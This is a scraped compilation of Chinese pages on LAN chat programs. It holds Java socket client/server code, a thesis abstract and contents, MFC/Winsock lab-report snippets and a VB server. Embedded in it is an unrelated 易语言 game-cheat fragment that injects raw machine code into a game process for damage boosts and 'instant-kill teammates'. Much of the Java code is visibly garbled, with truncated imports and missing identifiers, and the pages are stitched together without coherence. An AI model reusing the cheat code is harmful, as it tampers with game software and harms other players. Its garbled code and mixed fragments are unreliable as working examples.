易语言简单局域网聊天代码(客户服务器组件编写)

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JAVA局域网聊天系统源代码

JAVA局域网聊天系统源代码

这是我自己做的简单聊天系统客户端package LiaoTianSys;import java.awt.*;import javax.swing.*;import java.awt.*;import java.awt.event.*;import java.io.*;import .Socket;import .UnknownHostException;public class ConversationFrame extends JFrame {JScrollPane jsp;JTextField jtf;static JTextArea jta;//JTextArea jat1,jta2;JButton enter=new JButton("发送");JButton jb=new JButton("聊天室好友");JButton jb2=new JButton("进入聊天室");JButton jb3=new JButton("刷新在线人员列表");JPanel jp,jp1,jp3,jp4;DefaultListModel listmodel = new DefaultListModel();//static String[] NAME=new String[10];String n[]={"f"};JList list=new JList(listmodel);JLabel time=new JLabel("当前系统时间:");JLabel showtime=new JLabel("显示时间");JLabel jl=new JLabel("输聊天信息");JLabel nicheng=new JLabel("昵称");JTextField NCshuru=new JTextField(10);static DataOutputStream dos;static DataInputStream dis;//final LoginFrame lf;Socket socket;public ConversationFrame(){Container con=getContentPane();con.setLayout(new BorderLayout());jp=new JPanel();setSize(700,600);setLocation(100,100);jta=new JTextArea();jta.setEditable(false);jsp=new JScrollPane(jta);con.add(jsp,BorderLayout.CENTER);jtf=new JTextField(20);jp.add(jl);jp.add(jtf);jp.add(enter);con.add(jp,BorderLayout.SOUTH);jp1=new JPanel(new BorderLayout());JScrollPane jsp1=new JScrollPane(list);jp1.add(jsp1,BorderLayout.CENTER);jp1.add(jb,BorderLayout.NORTH);con.add(jp1,BorderLayout.EAST);//pack();jp3=new JPanel();jp3.add(nicheng);jp3.add(NCshuru);jp3.add(jb2);con.add(jp3,BorderLayout.NORTH);jp4=new JPanel(new GridLayout(10,1));jp4.add(jb3);jp4.add(time);jp4.add(showtime);new getTime(this).start();con.add(jp4,BorderLayout.WEST);setVisible(true);// 发送信息给所有人enter.addActionListener(new ActionListener(){public void actionPerformed(ActionEvent arg0) {// TODO Auto-generated method stubString info=jtf.getText();try {dos.writeUTF(NCshuru.getText()+" 对所有人说:"+info);dos.flush();} catch (IOException e) {// TODO Auto-generated catch blocke.printStackTrace();}}});//进入聊天室时将自己的昵称发给服务器,首先去验证是否会与已有的人同名,本聊天室是不支持同昵称聊天jb2.addActionListener(new ActionListener(){public void actionPerformed(ActionEvent e){String msg=NCshuru.getText().toString();//得到昵称if(msg.length()==0){JOptionPane.showMessageDialog(null, "昵称不应该为空,", "温馨提示", RMA TION_MESSAGE);}{try{dos.writeUTF("name"+msg);dos.flush();}catch(Exception ex){System.out.println(ex.getMessage());}}}});//向服务器请求更新在线人员列表jb3.addActionListener(new ActionListener(){public void actionPerformed(ActionEvent e){try {listmodel.removeAllElements();//请求之前删除JList对象中的所有内容dos.writeUTF("请求更新在线人员列表");dos.flush();} catch (IOException e1) {// TODO Auto-generated catch block//e1.printStackTrace();System.out.println(e1.getMessage());}}});//当有在线人员时,双击JList列表某项弹出私聊对话框事件,匿名内部类实现的list.addMouseListener(new MouseAdapter(){public void mouseClicked(MouseEvent e){if(e.getClickCount()==2){int index=list.locationToIndex(e.getPoint());// 获得list表中的索引值String recevier=(String)listmodel.getElementAt(index);//得到索引对应的值String sender=NCshuru.getText();new Danliao(sender,recevier,socket);}}});}public static void main(String[] args) {ConversationFrame Con=new ConversationFrame();Con.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);Con.kaishi();}public void kaishi(){try {socket=new Socket("172.16.14.60",8888);dos=new DataOutputStream(socket.getOutputStream());dis=new DataInputStream(socket.getInputStream());pc pc1=new pc(socket,this);//传送套接字,本类对象给pc线程pc1.start();} catch (UnknownHostException e) {// TODO Auto-generated catch blocke.printStackTrace();} catch (IOException e) {// TODO Auto-generated catch blocke.printStackTrace();}}}// pc线程类,负责接收服务器发送来的信息class pc extends Thread{ ConversationFrame conver;Socket socket;public pc(Socket socket,ConversationFrame conver){this.conver=conver;this.socket=socket;}public void run(){try {int i=0;while(true){String line;//从线路读取信息line=ConversationFrame.dis.readUTF();// 将所有的在线人员昵称发送给JList,并添加到在线人列表中if(line.startsWith("N"))// 服务器发送过来的信息的格式是N+{String na=line.substring(1);try{conver.listmodel.addElement(na);System.out.println(na);}catch(Exception e){System.out.println(e.getMessage());}}//接受服务器发来的广播聊天信息else{ConversationFrame.jta.append(line+"\n");}}} catch (IOException e) {// TODO Auto-generated catch blocke.printStackTrace();System.out.println(e.getMessage());}}}服务器端package LiaoTianSys;import java.io.*;import .*;import java.util.*;public class Server implements Runnable{public static final int port=8888;protected ServerSocket ss;static Vector connections;Thread connect;public Server(){try {ss=new ServerSocket(port);connections=new Vector(1000);connect=new Thread(this);connect.start();} catch (IOException e) {// TODO Auto-generated catch blocke.printStackTrace();}}public static void main(String[] args) {new Server();}public void run(){try{while(true){Socket client=ss.accept();System.out.println("客户端连接上");firstthread f=new firstthread(this,client);f.setPriority(Thread.MIN_PRIORITY);f.start();connections.addElement(f);}}catch(IOException e){System.out.println(e.getMessage());}}//向所有人发送聊天信息public void SenAll(String msg){int i;firstthread ft;for(i=0;i<connections.size();i++){ft=(firstthread)connections.elementAt(i);try{ft.out.writeUTF(msg);}catch(Exception e){System.out.println(e.getMessage());}}}//发送单聊信息的方法public void SenOne(String msg){int i;firstthread ft;/*String s1,s2,s3;s1=new String("people");s2=new String(msg.substring(2));//私信为两个字s3=s1.conString msg="我悄悄的对小花说你好啊";cat(s2);*/int begin=msg.indexOf("对");int end=msg.indexOf("说");begin=begin+1;String strNew=msg.substring(begin,end);for(i=0;i<connections.size();i++)//遍历线程,找到要发送的对象{ft=(firstthread)connections.elementAt(i);//遍历线程if(strNew.startsWith()){System.out.println();try{String MSG=msg.substring(7);ft.out.writeUTF(MSG);}catch(IOException e){System.out.println(e.getMessage());}}}}}class firstthread extends Thread{protected Socket client;String line,name=null;DataOutputStream firstout,out;DataInputStream in;Server server;public firstthread(Server server,Socket socket){this.server=server;this.client=socket;try{in=new DataInputStream(client.getInputStream());out=new DataOutputStream(client.getOutputStream());firstout=new DataOutputStream(client.getOutputStream());}catch(IOException e){server.connections.removeElement(this);}}//客户线程运行的方法,不断监听客户线路发送的来的信息,然后决定转发方式public void run(){try{while(true){line=in.readUTF();if(line.startsWith("name")){//获取当前线程firstthreadd=(firstthread)(server.connections.elementAt(server.connections.indexOf(this)));line=line.substring(4);if(==null){=line;}}//将服务器的所有在线人员的昵称发送给所有的客户端else if(line.startsWith("请求更新在线人员列表")){try{for(int i=0;i<server.connections.size();i++){firstthread c=(firstthread)(server.connections.elementAt(i));if(!=null){firstout.writeUTF("N"+);//发送昵称}}}catch(Exception e){System.out.println(e.getMessage());}}else if(line.startsWith("private")){server.SenOne(line);}//发送聊天信息给所有的pc客户端else{server.SenAll(line);}}}catch(IOException e){System.out.println(e.getMessage());}}}显示时间package LiaoTianSys;import java.text.SimpleDateFormat;import java.util.Date;public class getTime extends Thread{String time;ConversationFrame conver;public getTime(ConversationFrame conver){this.conver=conver;System.out.println("获得系统时间");}public void run(){while(true){SimpleDateFormat df=new SimpleDateFormat("HH:mm:ss");time= df.format(new Date());//System.out.println(time);conver.showtime.setText(time);try{this.sleep(1000);}catch(Exception e){System.out.println(e.getMessage());}}}public static void main(String []args){}}单聊package LiaoTianSys;import java.io.DataOutputStream;import java.io.IOException;import .*;import java.awt.*;import java.awt.event.*;import javax.swing.*;public class Danliao extends JFrame implements ActionListener{ JButton jb=new JButton("发送");JPanel jp1=new JPanel();JLabel jl=new JLabel("输入聊天信息");JTextField jtf=new JTextField(20);JTextArea jta=new JTextArea();JScrollPane jsp=new JScrollPane(jta);String recevier;String sender;Socket socket;public Danliao(String sender,String recevier,Socket socket) { this.recevier=recevier;this.sender=sender;this.socket=socket;setBackground(Color.red);setTitle("与"+recevier+"单聊");setSize(400,400);setLocation(200,200);Container con=getContentPane();con.setLayout(new BorderLayout());con.add(jsp,BorderLayout.CENTER);jp1.add(jl);jp1.add(jtf);jp1.add(jb);/*addWindowListener(new WindowAdapter(){public void windowClosing(WindowEvent e){//System.exit(0);//this.dispose();//this.hide();this.setVisible(false);}});*/addWindowListener(new Close(this));con.add(jp1,BorderLayout.SOUTH);jb.addActionListener(this);setVisible(true);}public void actionPerformed(ActionEvent e){ String msg=jtf.getText();jta.append(msg+"\n"+"\n");jtf.setText(null);try{DataOutputStream dos=new DataOutputStream(socket.getOutputStream());dos.writeUTF("private"+sender+"悄悄的对"+recevier+"说: "+msg);jtf.setText(null);}catch(Exception e1){e1.printStackTrace();}}public static void main(String[] args){}}//单击关闭窗口事件,隐藏单聊窗口class Close extends WindowAdapter{Danliao danliao;public Close(Danliao danliao){this.danliao=danliao;}public void windowClosing(WindowEvent e) {danliao.setVisible(false);}}。

局域网聊天系统代码

局域网聊天系统代码
client.getOutputStream());
oos.writeObject(serverBean);
oos.flush();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
onlines.remove(bean.getName());
try {
ss = new ServerSocket(8520);
onlines = new HashMap<String, ClientBean>();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
cbean.setName(bean.getName());
cbean.setSocket(client);
//添加在线用户
onlines.put(bean.getName(), cbean);
//创建服务器的bean,并发送给客户端
Bean serverBean = new Bean();
serverBean.setType(0);
private String name;
private Socket socket;
public String getName() {
return name;
}
public void setName(String namecket getSocket() {
+ "向你传送文件,是否需要接受";
serverBean.setType(2);

基于JAVA局域网聊天程序设计与实现(附源代码)

基于JAVA局域网聊天程序设计与实现(附源代码)

局域网聊天课程设计摘要随着互联网的发展,网络聊天工具作为一种交流工具,已经受到网民的青睐。

目前,出现了很多功能强大的聊天工具,其中应用比较广泛的有腾讯QQ、MSN-Messager等等。

即时通讯软件,是每一个上网用户都需要的工具,它除了能够让您迅速地在网上找到自己的朋友和伙伴之外,还可以实时交谈和传递信息,截止到目前,全球约有近3亿多人使用即时软件,正因为即时通讯软件拥有数以亿计的用户和增长的市场,所以各个公司都盯上了这个最大的市场,一时间,即时通讯市场硝烟四起。

对等网络(peer-to-peer,简称P2P),应用最初出现时和现在并不相同。

事实上可以认为它是若干不同技术以及流行趋势相结合的产物。

以下是导致P2P技术发展最重要的趋势:首先,一些新技术与软件工程的结合,形成了一种将工作分散的趋势。

P2P计算正是这种分散工作趋势的结果。

其次,在企业应用集成等因素的驱动下,过去十年渐渐形成从集中的单机系统转向分布式系统。

然而随着互联网的发展,全面的分布式计算也就成为一种迫切需求。

关键词:局域网聊天 P2P javaAbstractWith the development of the Internet,the chat tool as a communication tool, has been popularly accepted by netizens of all ages. At present, there are many powerful chat tools, of which Tencent QQ, MSN-Messager are much more prevalent.Instant messaging software is necessary for every one who connects to the internet, which can not only provide you a prompt way to find friends and partners online, but can provide you the convenience of internet relay chat and information delivering. Up to now, there are about 300 million people using real-time software all over the world. As more and more corporations have focused on this market with growing potential, which has hundreds of millions of uses, the competitions among these corporations are extremely fierce.The initial application of peer-to-peer network (peer-to-peer, referred to as P2P) is not the same as it is now. In fact, it can be regarded as a combination of different technologies and fashion trends. Below are the most important trends that have led the development of P2P technology: First of all, the integration of software engineering and new technologies led to a working dispersion trend. As a result, P2P computing was born. Then, in the past decade, it has turned fro m a single centralized system to distributed system due to the motivation of factors such as enterprise application integration. At last, with the development of the Internet, however, a comprehensive distributed computing has become an urgent need.Keywords:LAN chat P2P java局域网聊天课程设计目录摘要 (i)Abstract ..................................................................................................................................... i i 1绪论 . (1)1.1JAVA的网络功能与编程 (1)1.1.1JAVA概述 (1)1.1.2 JAVA的特点 (3)1.1.3 JAVA语言在网络上的应用 (5)1.2J AVA B EANS技术 (6)1.3IP/TCP协议常识 (6)1.4S OCKET的简介 (7)1.5对等网络 (8)1.5.1 对等网络发展历史 (8)1.5.2 对等网络的概念 (9)1.5.3 对等网络的主要系统结构 (9)2 JAVAqq局域网聊天程序的需求分析 (13)2.1课题来源 (13)2.2需求分析 (13)3 JAVAqq局域网聊天程序的系统分析与设计 (15)3.1JAVA QQ局域网聊天程序的总体设计要点 (15)3.2JAVA QQ局域网聊天程序的设计步骤及功能模块划分 (15)3.3JAVA QQ局域网聊天程序各功能模块 (16)4 JAVAqq局域网聊天程序的设计与实现 (24)4.1开发环境工具 (24)4.2硬件环境 (24)4.3聊天系统功能模块的测试 (24)结论 (27)致谢 (29)参考文献 (30)附录 A 程序源代码 (31)1绪论随着互联网逐步普及,互联网技术的逐步提高。

网络聊天编程

网络聊天编程

// 建立套接字描述符
sockaddr_in m_addr;
// sockaddr_in结构为套接字储存套接字地址信息
sockaddr_in m_raddr;
sockaddr_in m_caddr;
char *message=NULL;
// 聊天内容接收框中的消息变量
char *name=NULL;
// 聊天内容接收框中的主机名变量
int nItem;
// CList控件中显示内容(主机名)的序号
CString changstr;
// 中间变量
CString strname;
// 同上
UINT AcceptThread(LPVOID lpvoid);// 接收线程
SOCKET m_cSocket;
// 网络连接标识
void ShowRecvData();
// 显示接收的数据
void GetLanActiveComputer();
// 获取本地活动计算机机器名称

};
(3)在DlgP2P.cpp文件中加入全局变量如下:
static in是否已建立服务器
SOCKET m_socket,m_hSocket;
if(pos==NULL)
{
return ;
}
else
{
while(pos)
{
// 如果用户选择了多项,则取最后选择的一项
nItem=m_List.GetNextSelectedItem(pos);
}
m_name=m_List.GetItemText(nItem,0);
UpdateData(FALSE); // 传到“发送计算机”编辑框中,方向是变量到控件

局域网聊天简单示例

局域网聊天简单示例

Windows网络编程实验报告局域网聊天室学院:数学与计算机学院课程名称: TCP/IP原理与实现班级:网络082班学号: 0804511081 组长:田洪涛小组成员:赵明涛、陈星宇、郭韬徐健、程吉、平远、邹寒指导教师:胡鸣日期: 2011年6月7日一.实验目的通过Windows网络编程,编写一个聊天工具实现聊天室的功能,用户进入聊天室就能进行通信。

二.实验原理计算机网络技术发展至今已经大大超越了人们当初的预想,无论是人们日常的工作还是学习,我们都越来越多的依靠到互联网。

各种实时性的聊天娱乐软件也同时诞生,而且为我们的即时通讯带来了众多的方便,比如说大家所熟知的腾讯QQ、微软的MSN、移动的Fetion 等,都是做的比较成功的实时聊天工具。

随着网络的日益普及,各种聊天工具也层出不穷,但当我们学习了《TCP/IP协议与网络编程》这门课程之后,我们便会觉得,其实要实现简单的网络通讯其实并不难。

接下来的课程设计就是针对一个简单的局域网聊天程序,利用MFC为开发工具,实现基本的通讯功能。

此程序主要实现多人聊天功能:程序通过广播来实现局域网内部的通信,当局域网内用户运行了此程序(处于在线状态),就相当于登陆了聊天室,与广播255.255.255.255进行连接,并绑定端口8888,当客户发送一个消息时相当于向广播发送一个数据包,广播就接受此消息的数据包,然后广播就向在线的每个用户发送此数据包,从而实现了多人的聊天功能。

广播就相当于一个转发站,进行消息的转发。

整个程序的主体使用了CSocket类的方法,用UDP协议实现数据包发送、接收,实现了局域网内所有聊天。

三.实验内容本聊天程序实现工具为Visual C++ 6.0 MFC,主要利用其中用于网络编程的CSocket类实现网络通讯功能。

( 1 )当客户运行此程序,就与广播255.255.255.255进行连接,并绑定端口8888,代码如下:连接广播:BOOL bBroadcast = TRUE;::setsockopt(m_socket,SOL_SOCKET,SO_BROADCAST,(char*)&bBroadcast,sizeof(BOOL));绑定端口:m_addrLocal.sin_family = AF_INET;m_addrLocal.sin_addr.s_addr = INADDR_ANY;m_addrLocal.sin_port = ::ntohs(8888);::bind(m_socket, (sockaddr*)&m_addrLocal, sizeof(SOCKADDR));本程序是通过UDP协议实现通信功能:在初始化窗口时,创建UDP套接字:m_socket = ::socket(AF_INET,SOCK_DGRAM,0);( 2 )用户进行聊天,发送的信息相当于向广播发送数据(主要代码如下):::sendto(m_socket,m_strData,m_strData.GetLength(),0,(sockaddr*)&addBroadcast,sizeof(SOCKADDR));( 3 ) 广播接收数据报后,再向在线的各个用户发送此数据报;( 4 )定义了一个套接字处理消息:afx_msg LRESULT OnWinsock();用户通过响应此消息接收数据报,并在自己机器上显示内容(主要代码):实现接收数据报:::recvfrom(m_socket,buf,256,0,(sockaddr*)&addrRemote,&nLen);在对话框中显示信息:CTime timeNow = CTime::GetCurrentTime();//将时间格式化成(小时:分钟:秒)CString strTime = timeNow.Format(" (%H:%M:%S)");m_strLog += inet_ntoa(addrRemote.sin_addr);m_strLog += strTime;m_strLog += "\r\n";m_strLog += buf;m_strLog += "\r\n";UpdateData(FALSE);( 5 ) 在显示消息框中,当自己发送消息时,直接在自己电脑里显示在消息框中,没必要通过广播,但是,广播会转发数据报给每个用户,包括自己,此时在自己的机器上就不需要再次显示此内容了。

易语言代码

易语言代码

.子程序 攻击
时钟1.时钟周期 = 100
公告 (“攻击安Page Up攻击伤害加”, 十六到十 (“FF00FF00”))
.子程序 SSS
时钟1.时钟周期 = 0
公告 (“关闭攻击”, 十六到十 (“FF00FF00”))
.子程序 秒杀队友
置入代码 ({ 96, 190, 12, 221, 13, 1, 139, 54, 184, 80, 244, 250, 0, 139, 0, 185, 84, 244, 250, 0, 139, 9, 106, 0, 106, 0, 139, 22, 80, 81, 106, 0, 106, 4, 106, 4, 106, 0, 106, 4, 106, 0, 106, 0, 104, 0, 80, 0, 0, 104, 170, 32, 0, 0, 139, 206, 255, 146, 204, 2, 0, 0, 97 })
编辑框3.内容 = 到文本 (攻击伤害值)
公告 (编辑框3.内容, 十六到十 (“FF00FF00”))
.判断结束
.子程序 _时钟1_周期事件
自定义攻击 (十六到十 (“010DDD0C”), 到整数 (0), 到整数 (编辑框3.内容), 到整数 (20059))
公告 (“F4 霸体高防移动”, 十六到十 (“FF00FF00”))
公告 (“F5 消耗品召唤魔剑第1格”, 十六到十 (“FF00FF00”))
公告 (“F6 3S”, 十六到十 (“FF00FF00”))
公告 (“F7 幻影剑舞!(推荐)”, 十六到十 (“FF00FF00”))
公告 (“Page Up攻击伤害加 Page Down攻击伤害减”, 十六到十 (“FF00FF00”))

(完整word版)聊天系统(客户端、服务器端) java版 完整代码(word文档良心出品)

(完整word版)聊天系统(客户端、服务器端) java版 完整代码(word文档良心出品)

客户端:import java.awt.*;import java.awt.event.*;import java.io.*;import .*;public class ChatClient extends Frame {Socket s = null;DataOutputStream dos = null;DataInputStream dis = null;private boolean bConnected = false;TextField tfTxt = new TextField();TextArea taContent = new TextArea();Thread tRecv = new Thread(new RecvThread());public static void main(String[] args) {new ChatClient().launchFrame();}public void launchFrame() {setLocation(400, 300);this.setSize(300, 300);add(tfTxt, BorderLayout.SOUTH);add(taContent, BorderLayout.NORTH);pack();this.addWindowListener(new WindowAdapter() {@Overridepublic void windowClosing(WindowEvent arg0) {disconnect();System.exit(0);}});tfTxt.addActionListener(new TFListener());setVisible(true);connect();tRecv.start();}public void connect() {try {s = new Socket("127.0.0.1", 8888);dos = new DataOutputStream(s.getOutputStream());dis = new DataInputStream(s.getInputStream()); System.out.println("connected!");bConnected = true;} catch (UnknownHostException e) {e.printStackTrace();} catch (IOException e) {e.printStackTrace();}}public void disconnect() {try {dos.close();dis.close();s.close();} catch (IOException e) {e.printStackTrace();}/*try {bConnected = false;tRecv.join();} catch(InterruptedException e) {e.printStackTrace();} finally {try {dos.close();dis.close();s.close();} catch (IOException e) {e.printStackTrace();}}*/}private class TFListener implements ActionListener {public void actionPerformed(ActionEvent e) {String str = tfTxt.getText().trim();//taContent.setText(str);tfTxt.setText("");try {//System.out.println(s);dos.writeUTF(str);dos.flush();//dos.close();} catch (IOException e1) {e1.printStackTrace();}}}private class RecvThread implements Runnable {public void run() {try {while(bConnected) {String str = dis.readUTF();//System.out.println(str);taContent.setText(taContent.getText() + str + '\n');}} catch (SocketException e) {System.out.println("退出了,bye!");} catch (EOFException e) {System.out.println("推出了,bye - bye!");} catch (IOException e) {e.printStackTrace();}}}}服务器端import java.io.*;import .*;import java.util.*;public class ChatServer {boolean started = false;ServerSocket ss = null;List<Client> clients = new ArrayList<Client>();public static void main(String[] args) {new ChatServer().start();}public void start() {try {ss = new ServerSocket(8888);started = true;} catch (BindException e) {System.out.println("端口使用中....");System.out.println("请关掉相关程序并重新运行服务器!");System.exit(0);} catch (IOException e) {e.printStackTrace();}try {while(started) {Socket s = ss.accept();Client c = new Client(s);System.out.println("a client connected!");new Thread(c).start();clients.add(c);//dis.close();}} catch (IOException e) {e.printStackTrace();} finally {try {ss.close();} catch (IOException e) {// TODO Auto-generated catch blocke.printStackTrace();}}}class Client implements Runnable {private Socket s;private DataInputStream dis = null;private DataOutputStream dos = null;private boolean bConnected = false;public Client(Socket s) {this.s = s;try {dis = new DataInputStream(s.getInputStream());dos = new DataOutputStream(s.getOutputStream());bConnected = true;} catch (IOException e) {e.printStackTrace();}}public void send(String str) {try {dos.writeUTF(str);} catch (IOException e) {clients.remove(this);System.out.println("对方退出了!我从List里面去掉了!");//e.printStackTrace();}}public void run() {try {while(bConnected) {String str = dis.readUTF();System.out.println(str);for(int i=0; i<clients.size(); i++) {Client c = clients.get(i);c.send(str);//System.out.println(" a string send !");}/*for(Iterator<Client> it = clients.iterator(); it.hasNext(); ) {Client c = it.next();c.send(str);}*//*Iterator<Client> it = clients.iterator();while(it.hasNext()) {Client c = it.next();c.send(str);}*/}} catch (EOFException e) {System.out.println("Client closed!");} catch (IOException e) {e.printStackTrace();} finally {try {if(dis != null) dis.close();if(dos != null) dos.close();if(s != null) {s.close();//s = null;}} catch (IOException e1) {e1.printStackTrace();}}}}}。

java实现简易局域网聊天功能代码介绍

java实现简易局域网聊天功能代码介绍

java实现简易局域网聊天功能代码介绍局域网通常是分布在一个有限地理范围内的网络系统,一般所涉及的地理范围只有几公里。

局域网专用性非常强,具有比较稳定和规范的拓扑结构。

这篇文章主要为大家详细介绍了java实现简易局域网聊天功能,使用UDP模式编写一个聊天程序,具有一定的参考价值,感兴趣的小伙伴们可以参考一下Java代码:/某使用UDP模式,编写一个聊天程序有发送和接收数据2部分,一个线程接收,一个线程发送由于发送和接收动作是不一致的,所以要使用2个run方法而且这两个方法要封装到不同的类中本程序忽略了部分异常的处理,也未加入UI组件这样比较简洁发送端口9998接受端口9999用的是局域网广播地址,所以自己发的消息自己也收到了[示例]:简易控制台聊天程序某/import .某;import java.io.某;class Demo{public static void main(String[] args) throws E某ception{DatagramSocket sendSocket = new DatagramSocket(9998); //发送端DatagramSocket receSocket = new DatagramSocket(9999); //接收端new Thread(new MsgSend(sendSocket)).start(); //发送线程 new Thread(new MsgRece(receSocket)).start(); //接受线程 }}class MsgSend implements Runnable //发送{private DatagramSocket dsock;public MsgSend(DatagramSocket dsock){this.dsock= dsock;}public void run(){BufferedReader bufr = new BufferedReader(new InputStreamReader(System.in));String lineStr = null;try{while(true){lineStr = bufr.readLine();if(lineStr!=null){if(lineStr.equals("over886")){break;}else{byte[] dataBuf = lineStr.getBytes();DatagramPacket dataPack = //数据打包new DatagramPacket( dataBuf,dataBuf.length,InetAddress.getByName("192.168.1.255"), //广播 9999 //目标端口);dsock.send(dataPack);}}}bufr.close();dsock.close();}catch(E某ception e){throw new RuntimeE某ception("发送失败!"); }}}class MsgRece implements Runnable //接收{private DatagramSocket dsock;public MsgRece(DatagramSocket dsock){this.dsock= dsock;}public void run(){try{while(true){byte[] dataBuf = new byte[1024];DatagramPacket dataPack = newDatagramPacket(dataBuf,dataBuf.length);dsock.receive(dataPack); //将获取的数据保存到指定的数据包 String ip = dataPack.getAddress().getHostAddress();String data = newString(dataPack.getData(),0,dataPack.getLength());int port = dataPack.getPort();System.out.println();System.out.println("来自ip为 "+ip+" : "+port+" 的消息"); System.out.println(data);}}catch(E某ception e){throw new RuntimeE某ception("接受失败!");}finally{dsock.close();}}}补充:局域网、校园网安全维护方法校园网络分为内网和外网,就是说他们可以上学校的内网也可以同时上互联网,大学的学生平时要玩游戏购物,学校本身有自己的服务器需要维护;在大环境下,首先在校园网之间及其互联网接入处,需要设置防火墙设备,防止外部攻击,并且要经常更新抵御外来攻击;由于要保护校园网所有用户的安全,我们要安全加固,除了防火墙还要增加如ips,ids等防病毒入侵检测设备对外部数据进行分析检测,确保校园网的安全;外面做好防护措施,内部同样要做好防护措施,因为有的学生电脑可能带回家或者在外面感染,所以内部核心交换机上要设置vlan隔离,旁挂安全设备对端口进行检测防护;内网可能有ddos攻击或者arp病毒等传播,所以我们要对服务器或者电脑安装杀毒软件,特别是学校服务器系统等,安全正版安全软件,保护重要电脑的安全;对服务器本身我们要安全server版系统,经常修复漏洞及更新安全软件,普通电脑一般都是拨号上网,如果有异常上层设备监测一般不影响其他电脑。

javaJAVA局域网聊天程序设计方案与实现(附源代码)

javaJAVA局域网聊天程序设计方案与实现(附源代码)

封面作者:PanHongliang仅供个人学习摘要随着互联网的发展,网络聊天工具作为一种交流工具,已经受到网民的青睐。

目前,出现了很多功能强大的聊天工具,其中应用比较广泛的有腾讯QQ、MSN-Messager等等。

即时通讯软件,是每一个上网用户都需要的工具,它除了能够让您迅速地在网上找到自己的朋友和伙伴之外,还可以实时交谈和传递信息,截止到目前,全球约有近3亿多人使用即时软件,正因为即时通讯软件拥有数以亿计的用户和增长的市场,所以各个公司都盯上了这个最大的市场,一时间,即时通讯市场硝烟四起。

对等网络(peer-to-peer,简称P2P),应用最初出现时和现在并不相同。

事实上可以认为它是若干不同技术以及流行趋势相结合的产物。

以下是导致P2P技术发展最重要的趋势:首先,一些新技术与软件工程的结合,形成了一种将工作分散的趋势。

P2P计算正是这种分散工作趋势的结果。

其次,在企业应用集成等因素的驱动下,过去十年渐渐形成从集中的单机系统转向分布式系统。

然而随着互联网的发展,全面的分布式计算也就成为一种迫切需求。

关键词:局域网聊天 P2P javaAbstractWith the development of the Internet,the chat tool as a communication tool, has been popularly accepted by netizens of all ages.At present, there are many powerful chat tools, of which Tencent QQ, MSN-Messager are much more prevalent.Instant messaging software is necessary for every one who connects to the internet, which can not only provide you a prompt way to find friends and partners online, but can provide you the convenience of internet relay chat and information delivering. Up to now, there are about 300 million people using real-time software all over the world. As more and more corporations have focused on this market with growing potential, which has hundreds of millions of uses, the competitions among these corporations are extremely fierce.The initial application of peer-to-peer network (peer-to-peer, referred to as P2P) is not the same as it is now. In fact, it can be regarded as a combination of different technologies and fashion trends. Below are the most important trends that have led the development of P2P technology: First of all, the integration of software engineering and new technologies led to a working dispersion trend. As a result, P2P computing was born. Then, in the past decade, it has turned fro m a single centralized system to distributed system due to the motivation of factors such as enterprise application integration. At last, with the development of the Internet, however, a comprehensive distributed computing has become an urgent need.Keywords:LAN chat P2P java目录摘要iAbstractii1绪论21.1JAVA的网络功能与编程21.1.1JAVA概述21.1.2 JAVA的特点41.1.3 JAVA语言在网络上的应用61.2J AVA B EANS技术61.3IP/TCP协议常识61.4S OCKET的简介71.5对等网络81.5.1 对等网络发展历史81.5.2 对等网络的概念81.5.3 对等网络的主要系统结构92 JAVAqq局域网聊天程序的需求分析112.1课题来源112.2需求分析113 JAVAqq局域网聊天程序的系统分析与设计123.1JAVA QQ局域网聊天程序的总体设计要点123.2JAVA QQ局域网聊天程序的设计步骤及功能模块划分133.3JAVA QQ局域网聊天程序各功能模块134 JAVAqq局域网聊天程序的设计与实现194.1开发环境工具194.2硬件环境194.3聊天系统功能模块的测试20结论20致谢21参考文献22附录 A 程序源代码231绪论随着互联网逐步普及,互联网技术的逐步提高。

利用Winsock控件创建的局域网聊天程序

利用Winsock控件创建的局域网聊天程序

1.服务器端往服务器窗体(命名为frmServer)添加三个控件,分别为LIST1(存放在线好友名单),text1(留言内容)和text2(聊天记录),程序如下:Option ExplicitConst Busy As Boolean = FalseConst Free As Boolean = TrueDim ConnectState() As BooleanDim SIndexDim Usrs(0 To 32) '在线人名Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)EndEnd SubPrivate Sub Form_Load()If App.PrevInstance = True ThenMsgBox "程序已在运行", vbCriticalEndEnd IfReDim Preserve ConnectState(0)On Error Resume NextConnectState(0) = FreeListener.LocalPort = 1001 '端口号Listener.Listen '开始侦听End SubPrivate Sub Listener_ConnectionRequest(ByValrequestID As Long)Dim SockIndexAs IntegerDim SockNumAs IntegerOn Error Resume NextSockNum = UBound(ConnectState)If SockNum> 32 ThenExit Sub'查找空闲的SckServerSockIndex = FindFreeSocket'如果已有的sock都忙,而且sock数不超过32个,动态添加sockIf SockIndex>SockNum Then Load SckServer(SockIndex)ConnectState(SockIndex) = BusySckServer(SockIndex).Tag = SockIndex'接受请求SckServer(SockIndex).Accept (requestID)End SubPrivate Sub SckServer_DataArrival(Index As Integer, ByValbytesTotal As Long)Dim dx As StringSIndex = IndexSckServer(Index).GetData dx, vbStringIf Len(Text2.Text) >= 512 Then Text2.Text = ""If Right(dx, 2) = "||" ThenList1.AddItem Replace(dx, "|", "")Usrs(SIndex) = Replace(dx, "|", "")Timer1.Enabled = TrueText2.Text = Format(Now(), "YY-MM-DD hh:mm:ss") & " “" &Usrs(Index) & "”上线。

[易语言] DOS下的命令,易语言编程的时候用得到

[易语言] DOS下的命令,易语言编程的时候用得到

